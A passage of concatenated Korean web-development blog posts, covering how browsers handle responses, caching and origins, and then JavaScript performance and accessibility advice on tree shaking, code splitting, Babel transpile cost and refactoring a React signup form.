이제 브라우저는 드디어 서버와 연결을 설정할 수 있으므로, 서버는 클라이언트로부터 송수신이 일어날 것을 알 수 있다. TLS를 사용하는 경우, 서버에서 제공하는 인증서의 유효성을 확인하기 위해 TLS 핸드셰이크를 수행해야 한다.

### 서버에 요청 보내기

이 연결을 통과하는 첫 번째 요청은 바로 최상위 (루트) 페이지 요청이다. 일반적으로 이 파일은 서버에서 클라이언트로 제공되는 HTML 파일이다.

### 응답 다루기

클라이언트로 데이터가 스트리밍 되면서, 이제 응답 데이터를 분석하게 된다. 먼저 브라우저는 [응답의 헤더](https://developer.mozilla.org/en-US/docs/Glossary/Response_header)를 확인한다. [HTTP 헤더](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)는 HTTP 응답의 일부로 발송되는 일련의 `key:value` 쌍이다. 여기에서 응답 헤더가 `Location Header` 등을 활용해 리다이렉트를 지정하는 경우, 브라우저는 탐색 프로세스를 다시 시작하고, 여기서 언급한 첫번째 단계로 돌아간다.

서버 응답이 압축되어 있는 경우, 브라우저는 이 압축을 해제하려고 시도한다.

다음으로, 브라우저는 브라우저로 전송되는 파일의 MIME 유형을 파악하여 파일 로드 방법을 적절하게 해석할 수 있게 된다. 예를 들어 HTML이 파싱 및 렌더링 되는 동안 이미지 파일이 이미지 파일은 이미지 그 자체로 로드 된다. HTML 파서가 실행되면, 응답에서 다운로드 될 가능성이 있는 리소스의 URL을 검색하여, 브라우저에서 페이지를 렌더링하기 전에 미리 다운로드를 시작할 수 있다.

이 때, 요청된 URL이 브라우저 히스토리에 입력되어 브라우저의 앞, 뒤 버튼으로 탐색이 가능해진다.

여기까지 다룬 내용을 플로우 차트로 살펴보자.

![flowchart](./images/flowchart.png)

페이지에는 이미지, 자바스크립트, 스타일 시트를 필요하여 페이지를 꾸미는데 필요한 다양한 하위 리소스가 있기 때문에 페이지는 계속해서 요청을 한다. 또한 백그라운드 이미지 (css), `fetch()` `import()` 또는 ajax 호출로 인해 시작된 리소스 등 호출이 필요한 다양한 리소스들이 존재한다. 이것들이 없다면 우리는 별다른 상호작용을 할 수 없는 평범한 페이지만 보게 될 것이다. 이렇게 요청한 리소스는 브라우저의 캐싱 정책에 의하여 부분적으로 영향을 받는다.

## 캐싱

앞서 계속해서 언급했던 것 처럼, 브라우저는 네트워크 캐시를 관리하며 이는 이전에 다운로드 한 리소스를 재사용할 수 있게 도와준다. 이는 특히 로고나, 자바스크립트의 프레임워크와 같이 잘 변하지 않는 리소스에 매우 유용하다. 로컬에서 사용 가능한 캐시 리소스를 확인하고 재사용하는 것이, 네트워크 요청을 줄이는데 도움을 줄 수 있으므로 최대한 캐시를 활용해야 한다. 이는 결과적으로 번거로운 작업을 최소화 하여 페이지 로딩 시간을 단축하는데 많은 도움을 준다.

물론, 네트워크 캐시는 저장될 아이템의 개수와 저장 기간을 가지고 있다. 이 것은 웹 사이트가 이 문제를 컨트롤 할 수 없다는 것을 의미한다. 응답의 `Cache-control` 헤더는 브라우저의 캐시 로직을 제어 한다. 경우에 따라 캐시 하지 않는 것이 좋을 때도 있다. (`Cache-Control: no-store`) 어떤 경우에는 브라우저가 무기한 캐시하는 것이 좋을 수도 있다. (`Cache-Control: immutable`) 이 경우 캐시된 버전으로만 사용되므로, 동일한 URL의 리소스를 변경하는 대신, 다른 URL을 지정해줘서 다른 버전을 사용하도록 자연스럽게 유도하는 것이 좋다.

물론 네트워크 캐시가 브라우저가 할 수 있는 유일한 캐시는 아니다. 자바스크립트를 활용해서도 캐시를 구현할 수 있다. (프로그래밍 캐시) 위에서 언급했던 서비스 워커에서, 최상위 페이지에 대한 초기 리소스 요청은, 서비스워커가 이 요청을 인터셉터 한 다음 프로그래밍 캐시로 정의된 리소스를 대신 사용하게 할 수 잇다. 이는 웹 사이트가 캐시된 아이템을 언제 사용할 수 있는지 더 원활하게 제어할 수 있기 때문에 유용하다. 이러한 캐시는 `origin`을 기준으로 묶이며, 이는 곧 다른 도메인이 다른 도메인의 캐시로부터 분리된 제어 가능한 고유한 샌드박스 캐시 집합을 가지고 있음을 의미하기도 한다.

## Origin

origin은 데이터를 샌드박스로 만들고 보호하는 방법을 정의내릴 수 있는 중요한 브라우저의 개념 중 하나다. 대부분의 경우 보안을 위해 브라우저는 same-origin policy를 적용한다. 한 origin이 다른 origin에 접근할 수 없다.

만약에 `yceffort.kr`이 `yceffort1.kr`이라는 다른 origin의 자바스크립트 파일을 요청하고자 한다면, 이는 cross-origin 리소스 요청이 되는 것이다. 이를 해결하기 위해서는, `yceffort.kr`을 위해 `yceffort1.kr`이 [CORS 헤더](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)를 지정해줘야 한다.

> origin에 대한 정리는 [여기](/2020/09/referer-and-referrer-policy#origin)에 잘 나와있습니다

---

Source: https://yceffort.kr/2021/11/responsibility-of-javascript-code-2.md
Title: 자바스크립트 코드가 가져야할 책임감 (2)
Description: 알지만 왠지 선뜻 내키지 않는 최적화, 이유가 무엇일까 🤔
Date: 2021-11-20
Tags: web-performance, javascript

## Introduction

오늘날 웹 환경은 우리가 생각하는 것 보다 더 빠르게 성장할 것을 요구하고 있다. 이러한 압박으로 부터 자유롭기 위해, 우리는 가능한 생산적인 수단을 사용해야 한다. 이 말을 다르게 풀어보자면, 웹 애플리케이션을 구축할 때 오버헤드를 만들거나, 성능과 접근성을 저해할 수 있는 패턴을 반복적으로 사용할 가능성도 거친다.

웹 개발은 오늘날 많은 뉴비 개발자들이 뛰어들고 있는 가장 '쉬워 보이는' 개발이지만, 사실 그렇게 쉬운 영역은 아니다. (물론 진입장벽을 치기 위해서 하는 말은 아니다) 다들 쉽게 웹 개발을 시작하지만, 다들 하다보면 첫 개발부터 무언가 완벽하지 않다는 것을 깨닫게 된다. 물론 처음부터 완벽할 필요는 없다. 우리는 그 이후에 개선을 해나갈 수 있으며, 여기서 하고자 하는 말은 그 '개선'에 관한 것이다. 완벽은 아직 멀었다.

## 최적화 목록 점검하기

### 트리쉐이킹

먼저 자신이 속한 웹 개발 환경이 트리쉐이킹을 효과적으로 하고 있는지 확인해봐야 한다. 트리쉐이킹에 관한 글은 많다. 트리쉐이킹에 한번더 요약하자면, 사용되지 않는 코드를 프로덕션 번들에서 제거하는 과정이다.

- https://yceffort.kr/2021/08/javascript-tree-shaking
- https://yceffort.kr/2020/07/how-commonjs-is-making-your-bundles-larger
- https://ui.toast.com/weekly-pick/ko_20180716
- https://developers.google.com/web/fundamentals/performance/optimizing-javascript/tree-shaking

트리쉐이킹은 webpack, rollup, parcel과 같은 도구를 사용하면 즉시 해결할 수 있다. (번들러가 아닌 태스트러너인 grunt나 gulp는 도움이 되지 않는다.) 트리쉐이킹을 효과적으로 하기 위해서는, 아래 지침을 따라야 한다.

1. 애플리케이션 로직과 프로젝트에 설치하는 패키지를 모두 ES6로 작성하거나 활용해야 한다. CommonJS를 트리쉐이킹하는 것은 현실적으로 불가능하다.
2. 번들러가 빌드시에 ES6 모듈을 다른 모듈 형식으로 변환해서는 안된다. babel에서 이러한 상황이 발생하는 경우, es6코드가 commonjs로 변환하지 않도록 [@babel/preset-env 설정](https://babeljs.io/docs/en/babel-preset-env)을 반드시 [modules: false](https://babeljs.io/docs/en/babel-preset-env#modules) 로 해야 한다.

트리쉐이킹의 효과는 애플리케이션 개발 환경마다 조금씩 차이가 있을 수 있다. 또한 import하는 module이 [side effect](<https://en.wikipedia.org/wiki/Side_effect_(computer_science)>)를 도입하느냐에 따라 달라지기도 하는데, 이는 사용하지 않는 `exports`를 제거하는 번들러에 영향을 미칠 수 있다.

### 코드 스플릿

아마도 어떤 형식으로든 코드스플릿을 쓰고 있을 가능성이 높지만, 어떻게 동작되고 있는지 다시 한번 살펴볼 필요가 있다. 코드 스플릿 방법에 관계 없이, 코드 스플릿에 대해서 다음과 같은 질문에 대해 답할 수 있어야 한다.

https://developers.google.com/web/fundamentals/performance/optimizing-javascript/code-splitting/

1. 코드 [entry point](https://webpack.js.org/concepts/entry-points/) 간에 중복 코드를 제거 하고 있는지?
2. dymaic import()를 사용하여 레이지 로딩을 하고 있는지?

중복 코드를 줄이는 것은 성능에 매우 필수적이므로 꼭 해야 한다. 레이지 로딩은 첫 페이지의 초기 자바스크립트 용량을 줄임으로써 성능을 향상 시킨다. 또한 [Bundle Buddy](https://github.com/samccone/bundle-buddy)와 같은 도구를 사용하면 문제가 있는지 확인할 수도 있다.

레이지 로딩을 어디서 부터 손봐야할지 살펴보는 것은 다소 어려울 수도 있다. 기존 프로젝트에서 레이지 로딩을 적용할 곳을 찾을 때에는, 먼저 클릭이나 키보드 이벤트 등 코드 베이스 전반에 걸쳐 사용자 인터랙션 포인트가 발생하는 곳을 찾는 것이 좋다. 사용자 상호작용으로 실행 되는 코드들은 `dynamic import`를 사용하기에 적합한 후보다.

데이터 사용량이 큰 문제가 아니라면 [rel=prefetch](https://www.w3.org/TR/resource-hints/#prefetch) 리소스 힌트를 사용하여 낮은 우선순위로 스크립트를 로드할 수도 있다. 설령 [이 리소스 힌트를 지원하지 않는 브라우저](https://caniuse.com/link-rel-prefetch)라 하더라도 어차피 마크업 상에서 무시되기 때문에 크게 신경쓰지 않아도 된다.

### 써드 파티 코드 분석

웹 애플리케이션을 구성할 때, 가능한 사이트의 의존적인 리소스는 자체적으로 호스팅하는 것이 좋다. 어떤 이유로든지 제3자로부터 리소스를 가져와야 할 경우, [번들러 구성에서 이를 externals로 표시](https://webpack.js.org/configuration/externals/)하는 것이 좋다.그렇지 않으면 웹 사이트 방문자가 로컬에 있는 코드와 똑같은 코드를 써드파티로 부터 다운로드 할 수도 있다.

예를 한가지 들어보자. 만약 사이트에서 public CDN에서 lodash를 불러온다고 가정해보자. 그리고 내 프로젝트 개발을 하기 위해 로컬에서 lodash를 설치했다. 그러나 lodash를 external로 표시하지 않을 경우, 프로덕션 번들링에 lodash가 또 들어가버리게 될 것이다.

써드파티 의존성을 자체적으로 호스팅해야할지 확인이 없다면 [dns-prefetch](https://css-tricks.com/prefetching-preloading-prebrowsing/#dns-prefetching), [preconnect](https://css-tricks.com/prefetching-preloading-prebrowsing/#preconnect) [preload](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)을 도입해보는 것을 검토해보자. 이렇게하면 [사이트가 인터랙션이 가능해지는 시간](https://developers.google.com/web/tools/lighthouse/audits/time-to-interactive)을 낮출수도 있고, 만약 사이트의 콘텐츠를 렌더링하는게 중요하다면 [Speed Index](https://developers.google.com/web/tools/lighthouse/audits/time-to-interactive)에도 좋은 영향을 미칠 수 있다.

### 오버헤드를 줄이기 위한 또다른 방법

자바스크립트 생태계는 마치 엄청나게 큰 시장과도 같고, 개발자로서 우리는 오픈소스가 제공하는 다양한 코드에 때로는 경외심을 느끼기도 한다. 프레임워크와 라이브러리를 활용해 애플리케이셔늘 확장하는데 들어가는 시간과 노력을 줄이고, 모든 작업을 신속하게 마무리할 수도 있다.

개인적으로는 프로젝트에서 프레임워크와 라이브러리의 사용을 최소화 하는 것을 선호하지만, 솔직히 이를 사용하는 것은 아주 큰 유혹으로 느껴지기도 한다. 하지만 우리는 패키지를 설치함에 있어 항상 비판적인 자세를 유지할 필요가 있다.

리액트는 아주 정말로 유명하지만 서도, [Preact](https://preactjs.com/)는 리액트보다 더 작고, 대부분의 API를 공유하고 있으며, 리액트 애드온 등으로 호환성도 유지할 수 있다. [Luxon](https://moment.github.io/luxon/#/)과 [date-fns](https://date-fns.org/)는 [moment.js](https://momentjs.com/)의 효과적인 대안이다.

- https://yceffort.kr/2020/12/why-moment-has-been-deprecated

lodash와 같은 라이브러리는 정말로 유용한 많은 메소드를 제공하지만, 사실 이는 ES6문법을 활용하면 쉽게 대체할 수 있다.

- https://github.com/you-dont-need/You-Dont-Need-Lodash-Underscore#_chunk

선호하는 도구가 무엇이든 간에, 우리가 생각해봐야 할 것은 동일하다. 더 작은 대안이 있는가? 혹은 자체적으로 구현이 가능한가?

## 브라우저별로 다른 스크립트 제공하기

요즘 대부분의 애플리케이션은 [ES6를 지원하지 않는 브라우저](https://caniuse.com/es6)에서 사용할 수 있는 코드로 변환하기 위해 babel을 사용하고 있을 가능성이 높다. 반대로 생각해보자. es6를 지원하는 브라우저가 더 많은데, 여전히 es6를 지원하지 않는 브라우저를 위해서 트랜스파일링이 된 번들링을 계속해서 제공해야 할까? 두개의 다른 빌드를 제공하면 되지 않을까?

1. 이전 브라우저에서 작동하는데 필요한 모든 도구, 폴리필을 포함하고 있다. 대부분의 애플리케이션이 현재 이런 상태일 것이다.
2. 모던 브라우저를 타겟으로 한 또다른 번들링을 만들어, 폴리필, 트랜스파일링 등을 모두 제거한다. 이 번들은 대부분의 애플리케이션이 제공하고 있지 않다.

이를 달성하기 위해서는 어떻게 해야할까?

[가장 단순한 패턴](https://v8.dev/features/modules#browser)은 바로 이것이다.

```html
<!-- Modern browsers load this file: -->
/js/app.mjs
<!-- Legacy browsers load this file: -->
/js/app.js
```

그러나 이 패턴을 사용하면, IE11, Edge 15 ~ 18 에서는 두 번들링을 모두 다운로드 한다는 문제가 있다.

https://gist.github.com/jakub-g/5fc11af85a061ca29cc84892f1059fec

```javascript
var scriptEl = document.createElement('script')

if ('noModule' in scriptEl) {
  // 모던 스크립트
  scriptEl.src = '/js/app.mjs'
  scriptEl.type = 'module'
} else {
  // 레거시 스크립트
  scriptEl.src = '/js/app.js'
  scriptEl.defer = true // 순서가 중요하다면 defer를 false로
}

// Inject!
document.body.appendChild(scriptEl)
```

https://caniuse.com/mdn-html_elements_script_nomodule

## 가능한 트랜스파일은 적게!

> transpile less!

https://twitter.com/_developit/status/1110229993999777793

바벨을 그만 쓰자는 이야기는 아니다. 바벨은 절대로 없어서는 안된다. 하지만, 바벨은 내가 모르는 사이에 더 많은 것들을 하므로 이를 자세히 알아보는 것이 좋다. 이러한 작은 습관은 바벨이 만드는 코드에 긍정적인 영향을 미칠 수 있다.

```javascript
function logger(message, level = 'log') {
  console[level](message)
}
```

여기서 주의해야할 것은 기본값이 `log`인 함수다. 이 함수를 트랜스파일링 하면 어떻게 될까?

```javascript
'use strict'

function logger(message) {
  var level =
    arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'log'
  console[level](message)
}
```

> https://babeljs.io/repl#?browsers=%3E%200.25%25%2C%20not%20dead&build=&builtIns=false&corejs=3.6&spec=false&loose=false&code_lz=GYVwdgxgLglg9mABAGzgczQUwE4AoC2mAzkQIZYA0KmAbpsogLyIBEqaLAlIgN4BQiRBARE4yTAG1xdZAF0CxMlk4BuPgF8gA&debug=false&forceAllTransforms=false&shippedProposals=false&circleciRepo=&evaluate=false&fileSize=false&timeTravel=false&sourceType=module&lineWrap=true&presets=env%2Creact%2Cstage-2&prettier=false&targets=&version=7.16.4&externalPlugins=&assumptions=%7B%7D

분명 편리한 기본값 지정을 위해서 저렇게 코드를 썼건만, 몇바이트였던 코드가 바벨을 거치면서 프로덕션 코드에서는 훨씬 더 커졌다.

```javascript
function logger(...args) {
  const [level, message] = args

  console[level](message)
}
```

```javascript
'use strict'

function logger() {
  for (
    var _len = arguments.length, args = new Array(_len), _key = 0;
    _key < _len;
    _key++
  ) {
    args[_key] = arguments[_key]
  }

  var level = args[0],
    message = args[1]
  console[level](message)
}
```

> https://babeljs.io/repl#?browsers=%3E%200.25%25%2C%20not%20dead&build=&builtIns=false&corejs=3.6&spec=false&loose=false&code_lz=GYVwdgxgLglg9mABAGzgczQUwE4AoB0hAhtmgM4CUiA3gFCKIQJlSIDaymAbpsgDSIAtpjJkiWALqIAvIhLkA3LXqNmcTh268JuYaPGYKSgL5A&debug=false&forceAllTransforms=false&shippedProposals=false&circleciRepo=&evaluate=false&fileSize=false&timeTravel=false&sourceType=module&lineWrap=true&presets=env%2Creact%2Cstage-2&prettier=false&targets=&version=7.16.4&externalPlugins=&assumptions=%7B%7D

`...args`는 분명 편리하지만, `babel`은 함수의 인수가 몇개가 올지 추론할 수 없기 때문에 위와 같이 트랜스파일링 해버렸다.

위와 같은 상황을 방지하기 위해서는, 아래와 같이 `||`을 사용하는 것이 좋다.

```javascript
function logger(message, level) {
  console[level || 'log'](message)
}
```

결과가 같다.

```javascript
'use strict'

function logger(message, level) {
  console[level || 'log'](message)
}
```

물론 이처럼 주의해야 할 것이 기본 파라미터만은 아니다. 화살표 함수나 전개 연산자들도 트랜스파일 하면 꽤나 복잡해진다.

이러한 기능을 모두 사용하지 않으려면, 다음과 같은 방법으로 영향도를 줄일수도 있다.

1. 라이브러리 작성자라면, [@babel/plugin-transform-runtime](https://babeljs.io/docs/en/babel-plugin-transform-runtime)와 함께 [@babel/runtime](https://babeljs.io/docs/en/babel-runtime)을 사용하여 바벨이 코드에 추가하는 helper함수를 제거할 수 있다.
2. 앱의 폴리필을 위해서는, [@babel/preset-env `useBuiltIns:"usage"`](https://babeljs.io/docs/en/babel-preset-env#usebuiltins)을 [@babel/polyfill](https://babeljs.io/docs/en/babel-polyfill)과 함께 선택적으로 사용할 수 있다.

개인적인 의견이지만, 모던 브라우저용으로 생성된 번들링을 트랜스파일링 하지 않는 것이 최선의 방법이라고 생각한다. 물론 이는 `jsx`나 널리 사용되지 않는 기능들 같이 무조건 어떤 브라우저든 상관없이 변환해야 하는 경우에는 불가능할 수도 있다. 그렇다면 이 앞선 도구가 꼭 필요한 것인지 되물어볼 필요가 있다. 만약 바벨이 코드 툴체인의 일부가 무조건 되어야 한다면, 바벨이 하고 있는 것들을 잘 살펴보고 개선할 필요가 있다.

## 성능향상은 레이스가 아니다

가능한 빨리 무언가를 얻으려고 하는 것은 때로는 사용자 경험의 고통으로 이어질 수도 있다. 물론 웹 개발 커뮤니티가 경쟁이라는 미명아래 더 빨리 반복하는 것에 집착하고 있기 때문에 조금은 속도를 늦출 필요가 있다고 생각한다. 그렇게 함으로써, 경쟁사만큼 빠른 이터레이션은 거치지 못할 지언정, 애플리케이션 경험은 더욱 향상될 수 있다.

코드 베이스에 성능 향상을 적용 하기전에, 이 모든 것이 하루 밤 사이에 되지 않는 것도 또한 알아둬야 한다. 웹 개발도 하나의 직업이다. 진정으로 영향력 있는 개발을 하기 위해서는 끊임 없이 고민하고 오랜시간 동안 헌신 할 때 비로소 이뤄진다. 꾸준히 향상에 집중해보자. 측정과 테스트를 반복하다보면 사이트의 사용자 경험이 향상되어 시간이 지남에 따라 조금씩 빨라질 것이다.

---

Source: https://yceffort.kr/2021/11/responsibility-of-javascript-code.md
Title: 자바스크립트 코드가 가져야할 책임감 (1)
Description: 책임감 있는 코드를 작성하고 있는지 항상 뒤돌아보기
Date: 2021-11-16
Tags: javascript, web-performance, accessibility

## Table of Contents

## Introduction

가끔씩 심심할 때 마다 들어가는 사이트가 있는데, 그 중 하나가 [State of Javascript](https://httparchive.org/reports/state-of-javascript?start=2021_01_01&end=latest&view=list)다. 이 레포트가 어떻게 생성되는지는 모르겠지만, 아무튼 전세계 사이트의 자바스크립트 관련 통계를 보여준다. 보여주는 내용은 크게 3가지로 볼 수 있다.

- javascript bytes: 사이트 접근시 내려받는 자바스크립트 크기의 평균
- javascript requests: 사이트 접근시 수행되는 평균 요청 갯수
- javascript boot-up time: 페이지당 스크립트가 소비하는 cpu 시간

2021년이 되면서 이제 평균 자바스립트 크기는 450kb, 500kb를 넘어섰다. 하지만 우리가 알아둬야 할 것은 단지 전송된 크기라는 점, 대부분의 전송에는 압축이 수반되기 때문에 실제 압축해제한 크기는 더 크다는 것이다. 물론, 리소스를 전송하는데 시간을 단축하는 것도 유의미한 일이지만, 클라이언트는 실제 다운로드한 450kb 정도의 리소스를 압축해제 후 처리해야 하기 때문에, 실제 처리해야하는 자바스크립트 코드의 크기는 아마도 1mb를 넘을 것이다. 1mb가 크다면 크고, 작다면 작은 크기 이겠지만, 이를 잘 처리하는지는 처리하는 기기에 달려 있을 것이다. 이를 연구하기 위한 많은 노력이 이뤄지고 있지만, 아무튼 간에 처리하는데 소요되는 시간은 장치마다 크게 다를 것이다.

긍정적으로 생각하자면, 고객이 웹을 탐색하는 기기와 네트워크 환경은 점차 개선되고 있다. 그러나 한편으로는 우리는 그런 이득을 상쇄할 만큼 복잡한 사이트를 만들고 있다. 따라서 우리는 책임감 있게 자바스크립트 코드를 작성해야 한다. 그리고 이 책임감은, 우리가 어떻게 코드를 작성하고 있는지 부터 이해해야 한다.

## 웹 앱, 그리고 웹 사이트

우리는 일반적으로 '웹 사이트'와 '웹 앱' 이라는 용어를 혼용해서 쓰고 있다. 그러나 이를 혼동하는 것은 안좋은 결과를 가져올 수 있다. 비즈니스용 웹 사이트를 만드는 경우, 강력한 프레임워크에 의존하여 DOM 변경사항을 관리하거나, 클라이언트 사이드 라우팅 등을 만들 가능성이 적다. 작업에 적합하지 않은 도구를 사용하는 것은 만드는 사람들에는 생산성을 떨어뜨리고, 사이트를 사용하는 사람들에게도 앞선 관점에서 피해를 끼칠 수 있다.

하지만 '웹 앱'을 만들 때를 생각해보자. 수백에서 수천개의 dependencies를 가지는 패키지를 아주 자연스럽게 설치하는데, 사실 우리는 이 패키지가 안전한지 100% 확신하지 않고 설치한다. 모듈 번들을 위한 구성도 매우 복잡하다. 어떻게 보면 이러한 복잡성이 흔하게 몰아치는 개발 환경 속에서, 빠르게 프로그램을 만들고 접근이 쉽도록 하기 위해서는 프론트엔드 전반에 걸쳐 넓은 지식이 필요하고, 경계심 또한 늦추지 말아야 한다. 만약 의존성이 의심스럽다면 `npm ls --prod`를 실행하여 모든 의존성에 대해 내가 인지하고 있는지 확인해야 한다. 물론 이렇게 한다고 해서 모든 써드파티 스크립트를 다 고려할 수 있는 것은 아니다.

아무튼, 우리가 잊어버리는 것은 웹 사이트와 이 웹 앱이 모두 하나의 환경, '웹'이라고 하는 생태계에서 건설되고 있다는 것이다. 둘 모두 네트워크의, 기기의 영향을 받고 있다. 그러나 많은 사람들이 '웹 앱'을 만든다고 결심하기 시작하면서 부터 이러한 환경을 잊어도 되는 것처럼 생각한다. '앱'이라고 부르기로 결정했다고 해서 이러한 제약이 사라지는 것도 아니고, 갑자기 사용자의 기기가 마법과도 같은 힘을 발휘하는 것도 아니다.

우리가 만든 것을 누가 사용하는지 이해하고, 이들이 인터넷을 접속하는 조건이 우리와 다르다는 것을 받아드리는 것 부터 이러한 책임이 시작되는 것이다. 우리가 달성하고자 하는 목적을 알아야 하며, 그리고 이러한 목적을 달성하라 수 있는 무언가를 만들어야 한다.

결론적으로, 자바스크립트의 의존성과 자바스크립트의 활용 (HTML, CSS를 제외하더라도) 이 성능과 접근성을 해치는 패턴을 사용하는 것을 항상 경계해야 한다.

## 프레임워크로 인해 지속 불가능한 패턴을 만드는 것을 경계할 것

아래 리액트 코드를 살펴보자.

```javascript
import React, { Component } from "react";
import { validateEmail } from "helpers/validation";

class SignUpForm extends Component {
  constructor (props) {
    super(props);

    this.handleSubmit = this.handleSubmit.bind(this);
    this.updateEmail = this.updateEmail.bind(this);
    this.state.email = "";
  }

  updateEmail (event) {
    this.setState({
      email: event.target.value
    });
  }

  handleSubmit () {
    if (validateEmail(this.state.email)) {
      // ... sign up...
    }
  }

  render () {
    return (
      <div>
        <span>Enter your email:</span> <input type="text">

        <button onClick={handleSubmit}>Sign Up</button>
      </div>
    );
  }
}
```

위 코드엔 몇가지 문제가 있다.

1. `<form>`을 사용하지 않는 다면 그것은 form이라고 부를 수 없다. `<div role="form">`이라는 기법도 있지만, form을 작성하기 위해서는 적절한 동작과 메서드를 가진 `<form/>`을 쓰는 것이 좋다. `<form/>`의 `action`은 해당 컴포넌트가 서버사이드에서 렌더링된 경우라도, 자바스크립트 없이도 해당 작업을 수행할 수 있도록 보장할 수 있기 때문이다.
2. `<label>`이 없다면 접근성 이점을 누릴 수 없다.
3. form을 제출하기전에 클라이언트에서 무언가를 하기 원한다면, `<button/>` 의 `onClick`이 아닌 `<form/>`의 `onSubmit`을 활용해야 한다.
4. 이메일 유효성 검사에 특별한 기능이 필요한게 아니라면, IE 10 부터 광범위하게 지원하는 HTML5의 폼 validation의 활용하는 것이 여러모로 좋다. `<input type="email">`은 [많은 브라우저에서 지원하고 있으므로](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/email), `required` 속성과 함께 활용한다면 된다. 다만 스크린리더를 고려한다면 [몇가지 주의사항](https://www.tpgi.com/required-attribute-requirements/)이 있다.
5. 이 컴포넌트는 라이프 사이클 메소드에 의존적이지 않다. 따라서 stateless한 컴포넌트로 리팩토링할 수 있다. 이는 일반적인 리액트 컴포넌트보다 훨씬더 적은 자바스크립트를 사용한다.

따라서 이를 리팩토링한다면,

```javascript
import React from 'react'

const SignupForm = (props) => {
  const handleSubmit = (event) => {
    // 비동기로 폼 이벤트를 발생시키기 위해서 필요하다.
    // 자바스크립트가 disable된 서버사이드 렌더링 환경에서도 유효 할 것이다.
    event.preventDefault()

    // Do Something...
  }

  return (
    <form method="POST" action="/signup" onSubmit={handleSubmit}>
      <label for="email" class="email-label">
        Enter your email:
      </label>
      <input type="email" id="email" required />
      <button>Sign Up</button>
    </form>
  )
}
```

이제 이 컴포넌트는 접근성도 향상되었고, 자바스크립트도 덜 사용하게 되었다. 자바스크립트 범벅인 웹 세상에서, 자바스크립트를 줄이는 것은 거의 대부분 옳다. 브라우저는 우리에게 많은 기능을 공짜로 제공하고 있으므로, 항상 이를 최대한 활용할 수 있어야 한다.

이와 같은 예제는, 프레임워크에 의존적일 때 접근성이 떨어지는 패턴이 생긴다는 것을 의미하는 것 뿐만 아니라 HTML과 CSS를 제대로 이해하지 못하는 이해의 격차가 있다는 것을 방증한다. 자바스크립트, 그리고 HTML과 CSS 사이의 지식의 격차는 우리가 인지하지 못하는 실수를 초래하곤한다. 프레임워크는 생산성을 높이는 도구가 될 수도 있지만, 그것보다 더 중요한 것은 핵심적인 웹 기술에 대해서 이해하고, 나아가 무슨 툴을 사용하던지 사용자에게 좋은 사용자 경험을 안겨주는 것이다.

## 웹 플랫폼에 의존하기

angular, vue, react와 같은 웹 프레임워크에 많은 시간을 쏟고 있지만, 웹 플랫폼 또한 그자체 만으로도 어마어마한 프레임워크라 할 수 있다. 이전 섹션에서 알아 본 것처럼, 이미 확립된 마크업 패턴과 브라우저의 기능에 의존하는 것이 더욱 효과적이다.

### 싱글 페이지 애플리케이션

개발자들이 가장 많이 하는 실수 중 하나는 별다른 고민없이 Single Page Application을 채택하는 것이다. SPA가 물론, 클라이언트 라우팅을 통해 성능적 이점을 누릴수도 있다. 하지만 반대로 잃는 것은 무엇인가? 브라우저의 내비게이션은 비록 동기적으로 작동하지만 많은 이점을 제공한다. 이러한 방문이력은 [복잡한 스펙](https://alistapart.com/article/responsible-javascript-part-1/#:~:text=a%20complex%20specification)에 따라 관리된다. 자바스크립트를 활용할 수 없는 환경에서도 SPA를 사용할 수 있게 하려면, 서버사이드 렌더링을 고려해야 한다.

> https://kryogenix.org/code/browser/everyonehasjs.html

![CSR vs SSR](https://i2.wp.com/alistapart.com/wp-content/uploads/2019/04/fig2.png?resize=960%2C324&ssl=1)

클라이언트의 라우터가 페이지의 어떤 컨텐츠가 변경되었는지 알리지 않는다면 접근성 측면 에서도 좋지 못하다.

일부 클라이언트 라이브러리는 매우 작지만, 이를 [리액트와 함께 사용하는 것을 고려한다면](https://bundlephobia.com/package/react-router@6.0.2),그리고 여기에 [상태 관리 라이브러리를 얹는다면](https://bundlephobia.com/package/redux@4.1.2) 더 커진다. 따라서 개발하기전에 무엇을 구축하고 있는지, 그리고 클라이언트 사이드 라우팅이 손익계산을 해봤을 때 충분히 필요한 것인지 신중하게 고려해봐야 한다. 일반적으로는, 없는게 낫다.

만약 네비게이션 성능이 우려된다면, [rel=prefetch](https://www.w3.org/TR/resource-hints/#prefetch-link-relation-type)을 사용하여 동일한 오리진의 문서를 미리 가져올 수도 있다. 이는 document를 캐시에서 즉시 사용할 수 있으므로, 페이지의 로딩 성능을 높이는데 큰 영향을 미친다. prefetch는 낮은 우선순위로 진행되므로, 다른 중요한 리소스와 경쟁할 가능성도 낮다.

이 기법의 단점 중 하나는 일단 쓰고 보는 식으로 낭비가 될 수 있다는 것이다. 이 경우 구글의 [Quicklink](https://github.com/GoogleChromeLabs/quicklink)를 사용하는 것도 좋은 방법이 될 수 있다. 클라이언트 연결이 느리다면, 데이터 보호 모드가 사용되고 있는지를 확인하여 이 문제를 완화시킬 수 있다. 기본적으로, 교차 오리진에서는 링크를 미리 가져오지 않는다.

또한 서비스 워커를 활용한다면 클라이언트 라우팅을 사용하는지와 관계 없이 사용자 성능에 큰 도움을 줄 수 있다. 서비스 워커가 미리 경로를 파악해두면 앞서 언급한 기법과 마찬가지로 이점을 얻을 수 있지만, 요청과 응답에 대해 더 큰 제어권을 얻을 수 있다.

- https://developers.google.com/web/ilt/pwa/caching-files-with-service-worker

오늘날 서비스워커를 활용하는 것은 아마도 자바스크립트의 책임감을 높이는데 있어 가장 좋은 방법중 하나일 것이다.

## 자바스크립트는 레이아웃 문제를 해결하는데 별로 도움이 되지 않는다

